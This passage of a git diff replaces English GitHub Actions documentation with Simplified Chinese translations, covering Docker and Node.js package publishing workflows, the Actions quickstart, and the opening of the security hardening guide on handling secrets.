SHA and release version as image tags. +上述工作流签出 {% data variables.product.product_name %} 存储库,使用 `login-action` 登录注册表,然后使用 `build-push-action` 操作:基于存储库的 `Dockerfile` 构建 Docker 映像;将映像推送到 Docker 注册表,并将提交 SHA 和发布版本应用为映像标签。 {% endif %} -## Publishing images to Docker Hub and {% data variables.product.prodname_registry %} +## 发布映像到 Docker Hub 和 {% data variables.product.prodname_registry %} -{% ifversion ghes > 3.4 %} -{% data reusables.package_registry.container-registry-ghes-beta %} -{% endif %} +{% ifversion ghes > 3.4 %} {% data reusables.package_registry.container-registry-ghes-beta %} {% endif %} -In a single workflow, you can publish your Docker image to multiple registries by using the `login-action` and `build-push-action` actions for each registry. +在单个工作流中,你可以通过对每个注册表使用 `login-action` 和 `build-push-action` 操作将 Docker 映像发布到多个注册表。 -The following example workflow uses the steps from the previous sections ("[Publishing images to Docker Hub](#publishing-images-to-docker-hub)" and "[Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)") to create a single workflow that pushes to both registries. +以下示例工作流使用上述部分(“[将映像发布到 Docker Hub](#publishing-images-to-docker-hub)”和“[将映像发布到 {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)”)中的步骤创建推送到两个注册表的单个工作流。 ```yaml{:copy} {% data reusables.actions.actions-not-certified-by-github-comment %} @@ -255,5 +246,5 @@ jobs: labels: {% raw %}${{ steps.meta.outputs.labels }}{% endraw %} ``` -The above workflow checks out the {% data variables.product.product_name %} repository, uses the `login-action` twice to log in to both registries and generates tags and labels with the `metadata-action` action. -Then the `build-push-action` action builds and pushes the Docker image to Docker Hub and the {% ifversion fpt or ghec or ghes > 3.4 %}{% data variables.product.prodname_container_registry %}{% else %}Docker registry{% endif %}. +上述工作流签出 {% data variables.product.product_name %} 存储库,使用 `login-action` 两次以登录到两个注册表,并使用 `metadata-action` 操作生成标记和标签。 +然后 `build-push-action` 操作构建 Docker 映像并将其推送到 Docker Hub 和 {% ifversion fpt or ghec or ghes > 3.4 %}{% data variables.product.prodname_container_registry %}{% else %}Docker 注册表{% endif %}。 diff --git a/translations/zh-CN/content/actions/publishing-packages/publishing-nodejs-packages.md b/translations/zh-CN/content/actions/publishing-packages/publishing-nodejs-packages.md index 34ccc87811..d8cc80a1b1 100644 --- a/translations/zh-CN/content/actions/publishing-packages/publishing-nodejs-packages.md +++ b/translations/zh-CN/content/actions/publishing-packages/publishing-nodejs-packages.md @@ -1,7 +1,6 @@ --- -title: Publishing Node.js packages -shortTitle: Publish Node.js packages -intro: You can publish Node.js packages to a registry as part of your continuous integration (CI) workflow. +title: 发布 Node.js 包 +intro: 您可以将 Node.js 包发布到注册表,作为持续集成 (CI) 工作流程的一部分。 redirect_from: - /actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages - /actions/language-and-framework-guides/publishing-nodejs-packages @@ -17,49 +16,54 @@ topics: - Publishing - Node - JavaScript +shortTitle: Node.js packages +ms.openlocfilehash: afa780db8d6c044d57bc2bfdb0a8ca851a32635f +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: '147064096' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 简介 -## Introduction +本指南介绍如何创建一个工作流程,以在持续集成 (CI) 测试通过后将 Node.js 包发布到 {% data variables.product.prodname_registry %} 和 npm 注册表。 -This guide shows you how to create a workflow that publishes Node.js packages to the {% data variables.product.prodname_registry %} and npm registries after continuous integration (CI) tests pass. +## 先决条件 -## Prerequisites +建议基本了解工作流程配置选项和如何创建工作流程文件。 有关详细信息,请参阅“[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。 -We recommend that you have a basic understanding of workflow configuration options and how to create a workflow file. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." +有关为 Node.js 项目创建 CI 工作流的详细信息,请参阅“[将 Node.js 与 {% data variables.product.prodname_actions %} 配合使用](/actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions)。” -For more information about creating a CI workflow for your Node.js project, see "[Using Node.js with {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions)." +您可能还发现基本了解以下内容是有帮助的: -You may also find it helpful to have a basic understanding of the following: +- “[使用 npm 注册表](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)” +- “[环境变量](/actions/reference/environment-variables)” +- [加密机密](/actions/reference/encrypted-secrets) +- “[工作流中的身份验证](/actions/reference/authentication-in-a-workflow)” -- "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)" -- "[Environment variables](/actions/reference/environment-variables)" -- "[Encrypted secrets](/actions/reference/encrypted-secrets)" -- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)" +## 关于包配置 -## About package configuration + package.json 文件中的 `name` 和 `version` 字段创建一个唯一标识符,注册表使用该标识符将包链接到注册表。 可以通过在 package.json 文件中包含一个 `description` 字段来添加软件包列表页面的摘要。 有关详细信息,请参阅 npm 文档中的“[创建 package.json 文件](https://docs.npmjs.com/creating-a-package-json-file)”和“[创建 Node.js 模块](https://docs.npmjs.com/creating-node-js-modules)”。 - The `name` and `version` fields in the *package.json* file create a unique identifier that registries use to link your package to a registry. You can add a summary for the package listing page by including a `description` field in the *package.json* file. For more information, see "[Creating a package.json file](https://docs.npmjs.com/creating-a-package-json-file)" and "[Creating Node.js modules](https://docs.npmjs.com/creating-node-js-modules)" in the npm documentation. +当本地 .npmrc 文件存在并指定了 `registry` 值时,`npm publish` 命令使用在 .npmrc 文件中配置的注册表 。 {% data reusables.actions.setup-node-intro %} -When a local *.npmrc* file exists and has a `registry` value specified, the `npm publish` command uses the registry configured in the *.npmrc* file. {% data reusables.actions.setup-node-intro %} +可以使用 `setup-node` 操作指定运行器上安装的 Node.js 版本。 -You can specify the Node.js version installed on the runner using the `setup-node` action. +如果在工作流中添加步骤来配置 package.json 文件中的 `publishConfig` 字段,则无需使用 `setup-node` 操作指定 registry-url,但是只能将包发布到一个注册表。 有关详细信息,请参阅 npm 文档中的“[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)”。 -If you add steps in your workflow to configure the `publishConfig` fields in your *package.json* file, you don't need to specify the registry-url using the `setup-node` action, but you will be limited to publishing the package to one registry. For more information, see "[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)" in the npm documentation. +## 发布包到 npm 注册表 -## Publishing packages to the npm registry +每次创建新版本时,都可以触发工作流程来发布包。 以下示例中的工作流在 `release` 事件以 `created` 类型触发时运行。 如果 CI 测试通过,工作流程将包发布到 npm 注册表。 -Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the npm registry if CI tests pass. +要根据工作流程中的 npm 注册表执行经过身份验证的操作,您需要将 npm 身份验证令牌作存储为密码。 例如,创建名为 `NPM_TOKEN` 的存储库机密。 有关详细信息,请参阅“[创建和使用已加密的机密](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)。” -To perform authenticated operations against the npm registry in your workflow, you'll need to store your npm authentication token as a secret. For example, create a repository secret called `NPM_TOKEN`. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." +默认情况下,npm 使用 package.json 文件的 `name` 字段来确定已发布包的名称。 当发布到全局命名空间时,您只需要包含包名称。 例如,将名为 `npm-hello-world-test` 的包发布到 `https://www.npmjs.com/package/npm-hello-world-test`。 -By default, npm uses the `name` field of the *package.json* file to determine the name of your published package. When publishing to a global namespace, you only need to include the package name. For example, you would publish a package named `npm-hello-world-test` to `https://www.npmjs.com/package/npm-hello-world-test`. +如果要发布包含范围前缀的包,请在 package.json 文件的名称中包含范围。 例如,如果 npm 范围前缀是 octocat 并且包名称是 hello-world,那么 package.json 文件中的 `name` 应为 `@octocat/hello-world`。 如果 npm 包使用范围前缀并且包是公共的,则需要使用选项 `npm publish --access public`。 这是 npm 需要用来防止有人无意中发布私有包的选项。 -If you're publishing a package that includes a scope prefix, include the scope in the name of your *package.json* file. For example, if your npm scope prefix is octocat and the package name is hello-world, the `name` in your *package.json* file should be `@octocat/hello-world`. If your npm package uses a scope prefix and the package is public, you need to use the option `npm publish --access public`. This is an option that npm requires to prevent someone from publishing a private package unintentionally. - -This example stores the `NPM_TOKEN` secret in the `NODE_AUTH_TOKEN` environment variable. When the `setup-node` action creates an *.npmrc* file, it references the token from the `NODE_AUTH_TOKEN` environment variable. +此示例将 `NPM_TOKEN` 机密存储在 `NODE_AUTH_TOKEN` 环境变量中。 当 `setup-node` 操作创建 .npmrc 文件时,它会引用来自 `NODE_AUTH_TOKEN` 环境变量的令牌。 ```yaml{:copy} name: Publish Package to npmjs @@ -82,7 +86,7 @@ jobs: NODE_AUTH_TOKEN: {% raw %}${{ secrets.NPM_TOKEN }}{% endraw %} ``` -In the example above, the `setup-node` action creates an *.npmrc* file on the runner with the following contents: +在上面的示例中,`setup-node` 操作在运行器上创建了一个具有以下内容的 .npmrc 文件: ```ini //registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN} @@ -90,17 +94,17 @@ registry=https://registry.npmjs.org/ always-auth=true ``` -Please note that you need to set the `registry-url` to `https://registry.npmjs.org/` in `setup-node` to properly configure your credentials. +请注意,需要在 `setup-node` 中将 `registry-url` 设置为 `https://registry.npmjs.org/` 才能正确配置凭据。 -## Publishing packages to {% data variables.product.prodname_registry %} +## 发布包到 {% data variables.product.prodname_registry %} -Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs anytime the `release` event with type `created` occurs. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass. +每次创建新版本时,都可以触发工作流程来发布包。 以下示例中的工作流在类型为 `created` 的 `release` 事件发生时运行。 如果 CI 测试通过,工作流程会将包发布到 {% data variables.product.prodname_registry %}。 -### Configuring the destination repository +### 配置目标仓库 -Linking your package to {% data variables.product.prodname_registry %} using the `repository` key is optional. If you choose not to provide the `repository` key in your *package.json* file, then {% data variables.product.prodname_registry %} publishes a package in the {% data variables.product.prodname_dotcom %} repository you specify in the `name` field of the *package.json* file. For example, a package named `@my-org/test` is published to the `my-org/test` {% data variables.product.prodname_dotcom %} repository. If the `url` specified in the `repository` key is invalid, your package may still be published however it won't be linked to the repository source as intended. +如果未在 package.json 文件中提供 `repository` 键,则 {% data variables.product.prodname_registry %} 会在 package.json 文件的 `name` 字段中指定的 {% data variables.product.prodname_dotcom %} 存储库中发布一个包 。 例如,名为 `@my-org/test` 的包发布到 `my-org/test` {% data variables.product.prodname_dotcom %} 存储库。 -If you do provide the `repository` key in your *package.json* file, then the repository in that key is used as the destination npm registry for {% data variables.product.prodname_registry %}. For example, publishing the below *package.json* results in a package named `my-amazing-package` published to the `octocat/my-other-repo` {% data variables.product.prodname_dotcom %} repository. Once published, only the repository source is updated, and the package doesn't inherit any permissions from the destination repository. +但是,如果提供了 `repository` 键,则该键中的存储库将被用作 {% data variables.product.prodname_registry %} 的目标 npm 注册表。 例如,发布以下 package.json 会导致名为 `my-amazing-package` 的包发布到 `octocat/my-other-repo` {% data variables.product.prodname_dotcom %} 存储库。 ```json { @@ -111,15 +115,15 @@ If you do provide the `repository` key in your *package.json* file, then the rep }, ``` -### Authenticating to the destination repository +### 向目标仓库验证 -To perform authenticated operations against the {% data variables.product.prodname_registry %} registry in your workflow, you can use the `GITHUB_TOKEN`. {% data reusables.actions.github-token-permissions %} +要在工作流中对 {% data variables.product.prodname_registry %} 注册表执行经过身份验证的操作,可以使用 `GITHUB_TOKEN`。 {% data reusables.actions.github-token-permissions %} -If you want to publish your package to a different repository, you must use a {% data variables.product.pat_v1 %} that has permission to write to packages in the destination repository. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)." +如果要将包发布到其他仓库,您必须使用对目标仓库中的包具有写入权限的个人访问令牌 (PAT)。 有关详细信息,请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”和“[加密的机密](/actions/reference/encrypted-secrets)。” -### Example workflow +### 示例工作流 -This example stores the `GITHUB_TOKEN` secret in the `NODE_AUTH_TOKEN` environment variable. When the `setup-node` action creates an *.npmrc* file, it references the token from the `NODE_AUTH_TOKEN` environment variable. +此示例将 `GITHUB_TOKEN` 机密存储在 `NODE_AUTH_TOKEN` 环境变量中。 当 `setup-node` 操作创建 .npmrc 文件时,它会引用来自 `NODE_AUTH_TOKEN` 环境变量的令牌。 ```yaml{:copy} name: Publish package to GitHub Packages @@ -147,7 +151,7 @@ jobs: NODE_AUTH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} ``` -The `setup-node` action creates an *.npmrc* file on the runner. When you use the `scope` input to the `setup-node` action, the *.npmrc* file includes the scope prefix. By default, the `setup-node` action sets the scope in the *.npmrc* file to the account that contains that workflow file. +`setup-node` 操作在运行器上创建一个 .npmrc 文件。 当对 `setup-node` 操作使用 `scope` 输入时,.npmrc 文件包含范围前缀。 默认情况下,该 `setup-node` 操作会将 .npmrc 文件中的范围设置为包含该工作流文件的帐户。 ```ini //npm.pkg.github.com/:_authToken=${NODE_AUTH_TOKEN} @@ -155,9 +159,9 @@ The `setup-node` action creates an *.npmrc* file on the runner. When you use the always-auth=true ``` -## Publishing packages using yarn +## 使用 yarn 发布包 -If you use the Yarn package manager, you can install and publish packages using Yarn. +如果您使用 Yarn 包管理器,可以使用 Yarn 安装和发布包。 ```yaml{:copy} name: Publish Package to npmjs diff --git a/translations/zh-CN/content/actions/quickstart.md b/translations/zh-CN/content/actions/quickstart.md index 44f3ab36a3..05c42d900f 100644 --- a/translations/zh-CN/content/actions/quickstart.md +++ b/translations/zh-CN/content/actions/quickstart.md @@ -1,6 +1,6 @@ --- -title: Quickstart for GitHub Actions -intro: 'Try out the features of {% data variables.product.prodname_actions %} in 5 minutes or less.' +title: GitHub Actions 快速入门 +intro: '在 5 分钟或更短的时间内尝试 {% data variables.product.prodname_actions %} 的功能。' allowTitleToDifferFromFilename: true redirect_from: - /actions/getting-started-with-github-actions/starting-with-preconfigured-workflow-templates @@ -13,77 +13,84 @@ type: quick_start topics: - Fundamentals shortTitle: Quickstart +ms.openlocfilehash: 164aef041c509264c9e8440d5339bce3cf4aaaca +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146139455' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 简介 -## Introduction +您只需要 {% data variables.product.prodname_dotcom %} 仓库来创建和运行 {% data variables.product.prodname_actions %} 工作流程。 在本指南中,您将添加一个工作流程,演示 {% data variables.product.prodname_actions %} 的一些基本功能。 -You only need a {% data variables.product.prodname_dotcom %} repository to create and run a {% data variables.product.prodname_actions %} workflow. In this guide, you'll add a workflow that demonstrates some of the essential features of {% data variables.product.prodname_actions %}. +下面的示例显示 {% data variables.product.prodname_actions %} 作业如何自动触发、在哪里运行及其如何与仓库中的代码交互。 -The following example shows you how {% data variables.product.prodname_actions %} jobs can be automatically triggered, where they run, and how they can interact with the code in your repository. +## 创建第一个工作流程 -## Creating your first workflow +1. 如果 `.github/workflows` 目录不存在,请在 {% data variables.product.prodname_dotcom %} 的存储库中创建此目录。 +2. 在 `.github/workflows` 目录中,创建名为 `github-actions-demo.yml` 的文件。 有关详细信息,请参阅“[创建新文件](/github/managing-files-in-a-repository/creating-new-files)”。 +3. 将以下 YAML 内容复制到 `github-actions-demo.yml` 文件中:{% raw %} + ```yaml{:copy} + name: GitHub Actions Demo + on: [push] + jobs: + Explore-GitHub-Actions: + runs-on: ubuntu-latest + steps: + - run: echo "🎉 The job was automatically triggered by a ${{ github.event_name }} event." + - run: echo "🐧 This job is now running on a ${{ runner.os }} server hosted by GitHub!" + - run: echo "🔎 The name of your branch is ${{ github.ref }} and your repository is ${{ github.repository }}."{% endraw %} + - name: Check out repository code + uses: {% data reusables.actions.action-checkout %}{% raw %} + - run: echo "💡 The ${{ github.repository }} repository has been cloned to the runner." + - run: echo "🖥️ The workflow is now ready to test your code on the runner." + - name: List files in the repository + run: | + ls ${{ github.workspace }} + - run: echo "🍏 This job's status is ${{ job.status }}." -1. Create a `.github/workflows` directory in your repository on {% data variables.product.prodname_dotcom %} if this directory does not already exist. -1. In the `.github/workflows` directory, create a file named `github-actions-demo.yml`. For more information, see "[Creating new files](/github/managing-files-in-a-repository/creating-new-files)." -1. Copy the following YAML contents into the `github-actions-demo.yml` file: + ``` + {% endraw %} +3. 滚动到页面底部,然后选择“为此提交创建一个新分支并开始拉取请求”。 然后,若要创建拉取请求,请单击“提议新文件”。 + ![提交工作流文件](/assets/images/help/repository/actions-quickstart-commit-new-file.png) - ```yaml{:copy} - name: GitHub Actions Demo - {%- ifversion actions-run-name %} - run-name: {% raw %}${{ github.actor }}{% endraw %} is testing out GitHub Actions 🚀 - {%- endif %} - on: [push] - jobs: - Explore-GitHub-Actions: - runs-on: ubuntu-latest - steps: - - run: echo "🎉 The job was automatically triggered by a {% raw %}${{ github.event_name }}{% endraw %} event." - - run: echo "🐧 This job is now running on a {% raw %}${{ runner.os }}{% endraw %} server hosted by GitHub!" - - run: echo "🔎 The name of your branch is {% raw %}${{ github.ref }}{% endraw %} and your repository is {% raw %}${{ github.repository }}{% endraw %}." - - name: Check out repository code - uses: {% data reusables.actions.action-checkout %} - - run: echo "💡 The {% raw %}${{ github.repository }}{% endraw %} repository has been cloned to the runner." - - run: echo "🖥️ The workflow is now ready to test your code on the runner." - - name: List files in the repository - run: | - ls {% raw %}${{ github.workspace }}{% endraw %} - - run: echo "🍏 This job's status is {% raw %}${{ job.status }}{% endraw %}." - ``` -1. Scroll to the bottom of the page and select **Create a new branch for this commit and start a pull request**. Then, to create a pull request, click **Propose new file**. +向存储库的分支提交工作流文件会触发 `push` 事件并运行工作流。 - ![Commit workflow file](/assets/images/help/repository/actions-quickstart-commit-new-file.png) +## 查看工作流程结果 -Committing the workflow file to a branch in your repository triggers the `push` event and runs your workflow. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} +1. 在左侧边栏中,单击您想要查看的工作流程。 -## Viewing your workflow results + ![左侧边栏中的工作流程列表](/assets/images/help/repository/actions-quickstart-workflow-sidebar.png) +1. 从工作流程运行列表中,单击要查看的运行的名称。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -1. In the left sidebar, click the workflow you want to see. + ![工作流程运行的名称](/assets/images/help/repository/actions-quickstart-run-name.png) +1. 在“作业”下,单击“Explore-GitHub-Actions”作业 。 - ![Workflow list in left sidebar](/assets/images/help/repository/actions-quickstart-workflow-sidebar.png) -1. From the list of workflow runs, click the name of the run you want to see. + ![查找作业](/assets/images/help/repository/actions-quickstart-job.png) +1. 日志显示每个步骤的处理方式。 展开任何步骤以查看其细节。 - ![Name of workflow run](/assets/images/help/repository/actions-quickstart-run-name.png) -1. Under **Jobs** , click the **Explore-GitHub-Actions** job. - - ![Locate job](/assets/images/help/repository/actions-quickstart-job.png) -1. The log shows you how each of the steps was processed. Expand any of the steps to view its details. - - ![Example workflow results](/assets/images/help/repository/actions-quickstart-logs.png) + ![示例工作流程结果](/assets/images/help/repository/actions-quickstart-logs.png) - For example, you can see the list of files in your repository: - ![Example action detail](/assets/images/help/repository/actions-quickstart-log-detail.png) - -The example workflow you just added is triggered each time code is pushed to the branch, and shows you how {% data variables.product.prodname_actions %} can work with the contents of your repository. For an in-depth tutorial, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)." - -## More starter workflows + 例如,可以在存储库中看到文件列表:![示例操作详细信息](/assets/images/help/repository/actions-quickstart-log-detail.png) + +## 更多入门工作流程 {% data reusables.actions.workflow-template-overview %} -## Next steps +## 更复杂的示例 +{% data reusables.actions.link-to-example-library %} -{% data reusables.actions.onboarding-next-steps %} +## 后续步骤 + +每次将代码推送到分支时,您刚刚添加的示例工作流程都会运行,并显示 {% data variables.product.prodname_actions %} 如何处理仓库的内容。 但是,这只是您可以对 {% data variables.product.prodname_actions %} 执行操作的开始: + +- 您的仓库可以包含多个基于不同事件触发不同任务的工作流程。 +- 您可以使用工作流程安装软件测试应用程序,并让它们自动在 {% data variables.product.prodname_dotcom %} 的运行器上测试您的代码。 + +{% data variables.product.prodname_actions %} 可以帮助您自动执行应用程序开发过程的几乎每个方面。 准备好开始了吗? 以下是一些帮助您对 {% data variables.product.prodname_actions %} 执行后续操作的有用资源: + +- 有关深入教程,请参阅“[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。 diff --git a/translations/zh-CN/content/actions/security-guides/security-hardening-for-github-actions.md b/translations/zh-CN/content/actions/security-guides/security-hardening-for-github-actions.md index f536b5df5b..97f2d131e6 100644 --- a/translations/zh-CN/content/actions/security-guides/security-hardening-for-github-actions.md +++ b/translations/zh-CN/content/actions/security-guides/security-hardening-for-github-actions.md @@ -1,7 +1,7 @@ --- -title: Security hardening for GitHub Actions +title: GitHub Actions 的安全强化 shortTitle: Security hardening -intro: 'Good security practices for using {% data variables.product.prodname_actions %} features.' +intro: '使用 {% data variables.product.prodname_actions %} 功能的良好安全实践。' redirect_from: - /actions/getting-started-with-github-actions/security-hardening-for-github-actions - /actions/learn-github-actions/security-hardening-for-github-actions @@ -14,67 +14,71 @@ type: overview topics: - Security miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 045b63648eb736fca4ba773c29c8fff54cc6a16b +ms.sourcegitcommit: 2e1852bcdd690cb66b9b5d69cb056a2bb2b9a6b4 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 11/10/2022 +ms.locfileid: '148160790' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 概述 -## Overview +本指南介绍如何为某些 {% data variables.product.prodname_actions %} 功能配置安全强化。 如果不熟悉 {% data variables.product.prodname_actions %} 概念,请参阅“[GitHub Actions 的核心概念](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)”。 -This guide explains how to configure security hardening for certain {% data variables.product.prodname_actions %} features. If the {% data variables.product.prodname_actions %} concepts are unfamiliar, see "[Core concepts for GitHub Actions](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)." +## 使用机密 -## Using secrets +敏感值绝不能以明文存储在工作流程文件中,而应存储为密码。 [机密](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)可在组织、存储库或环境级进行配置,使你可在 {% data variables.product.product_name %} 中存储敏感信息。 -Sensitive values should never be stored as plaintext in workflow files, but rather as secrets. [Secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) can be configured at the organization, repository, or environment level, and allow you to store sensitive information in {% data variables.product.product_name %}. +机密使用 [Libsodium 密封箱](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes),以使其在到达 {% data variables.product.product_name %} 前被加密处理。 当[使用 UI](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) 或通过 [REST API](/rest/reference/actions#secrets) 提交机密时会发生这种情况。 此客户端加密有助于最大程度地减少与 {% data variables.product.product_name %}基础架构中的意外日志记录相关的风险(例如,异常日志和请求日志等)。 密钥在上传后,{% data variables.product.product_name %} 可对其进行解密,以便它能够被注入工作流程运行时。 -Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.product_name %}. This occurs when the secret is submitted [using the UI](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) or through the [REST API](/rest/reference/actions#secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.product_name %}'s infrastructure. Once the secret is uploaded, {% data variables.product.product_name %} is then able to decrypt it so that it can be injected into the workflow runtime. +为了帮助防止意外泄露,{% data variables.product.product_name %} 使用一种机制尝试对运行日志中显示的任何密码进行编校。 此编校会寻找任何已配置密码的精确匹配项,以及值的常见编码,如 Base64。 但是,由于密码值可以通过多种方式转换,因此不能保证此编校。 因此,你应该采取某些积极主动的步骤和良好的做法,以帮助确保密码得到编校, 并限制与密码相关的其他风险: -To help prevent accidental disclosure, {% data variables.product.product_name %} uses a mechanism that attempts to redact any secrets that appear in run logs. This redaction looks for exact matches of any configured secrets, as well as common encodings of the values, such as Base64. However, because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. As a result, there are certain proactive steps and good practices you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets: - -- **Never use structured data as a secret** - - Structured data can cause secret redaction within logs to fail, because redaction largely relies on finding an exact match for the specific secret value. For example, do not use a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value, as this significantly reduces the probability the secrets will be properly redacted. Instead, create individual secrets for each sensitive value. -- **Register all secrets used within workflows** - - If a secret is used to generate another sensitive value within a workflow, that generated value should be formally [registered as a secret](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret), so that it will be redacted if it ever appears in the logs. For example, if using a private key to generate a signed JWT to access a web API, be sure to register that JWT as a secret or else it won’t be redacted if it ever enters the log output. - - Registering secrets applies to any sort of transformation/encoding as well. If your secret is transformed in some way (such as Base64 or URL-encoded), be sure to register the new value as a secret too. -- **Audit how secrets are handled** - - Audit how secrets are used, to help ensure they’re being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that they’re not sent to unintended hosts, or explicitly being printed to log output. - - View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool you’re invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs. -- **Use credentials that are minimally scoped** - - Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository. - - Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." -- **Audit and rotate registered secrets** - - Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed. - - Rotate secrets periodically to reduce the window of time during which a compromised secret is valid. -- **Consider requiring review for access to secrets** - - You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see "[Encrypted secrets](/actions/reference/encrypted-secrets)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." +- 切勿将结构化数据用作机密 + - 结构化数据可能导致日志中的密码编校失败,因为编校很大程度上取决于查找特定密码值的完全匹配项。 例如,不要使用 JSON、XML 或 YAML(或类似)的 Blob 来封装密码值,否则会显著降低密码被正确编校的可能性。 而应为每个敏感值创建单独的密码。 +- 注册工作流中使用的所有机密 + - 如果机密用于生成工作流中的另一敏感值,则该生成值应正式[注册为机密](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret),以便在它出现在日志中时对其进行编辑。 例如,如果使用私钥生成签名的 JWT 来访问 Web API,请确保将该 JWT 注册为密码,否则,如果它进入日志输出,则不会得到编校。 + - 注册密码也适用于任何类型的转换/编码。 如果以某种方式(如 Base64 或 URL 编码)转换您的密码,请确保将新值也注册为密码。 +- 审核机密的处理方式 + - 审核密码的使用方式,以帮助确保按预期方式处理密码。 您可以通过检查执行工作流程的仓库的源代码并检查工作流程中使用的任何操作来进行审核。 例如,确认它们未发送到非预期主机,或明确打印到日志输出。 + - 在测试有效/无效输入后查看工作流程的运行日志,并确认密码已正确编校或未显示。 调用的命令或工具向 `STDOUT` 和 `STDERR` 发送错误的方式并不总是很明显,并且机密随后可能会出现在错误日志中。 因此,在测试有效和无效的输入后,最好是手动查看工作流程日志。 +- 使用最小范围的凭据 + - 确保工作流程中使用的凭据具有所需的最小权限,并请注意,任何对仓库具有写入权限的用户都可访问仓库中配置的所有密码。 + - Actions 可以从 `github.token` 上下文访问 `GITHUB_TOKEN` 来使用它。 有关详细信息,请参阅“[上下文](/actions/learn-github-actions/contexts#github-context)”。 因此,应确保向 `GITHUB_TOKEN` 授予所需的最低权限。 将 `GITHUB_TOKEN` 的默认权限设置为只读取存储库内容是良好的安全做法。 然后可以根据需要增加工作流程文件中个别任务的权限。 有关详细信息,请参阅“[工作流中的身份验证](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)”。 +- 审核并轮换已注册机密 + - 定期查查已注册的密码,以确认它们仍是必需的。 删除不再需要的密码。 + - 定期轮换密码,以减小泄露的密码有效的时间窗。 +- 考虑要求对访问机密进行审查 + - 您可以使用所需的审查者来保护环境机密。 在审查者批准之前,工作流程作业无法访问环境机密。 有关在环境中存储机密或需要审查环境的详细信息,请参阅“[加密机密](/actions/reference/encrypted-secrets)”和“[使用环境进行部署](/actions/deployment/using-environments-for-deployment)”。 {% warning %} -**Warning**: Any user with write access to your repository has read access to 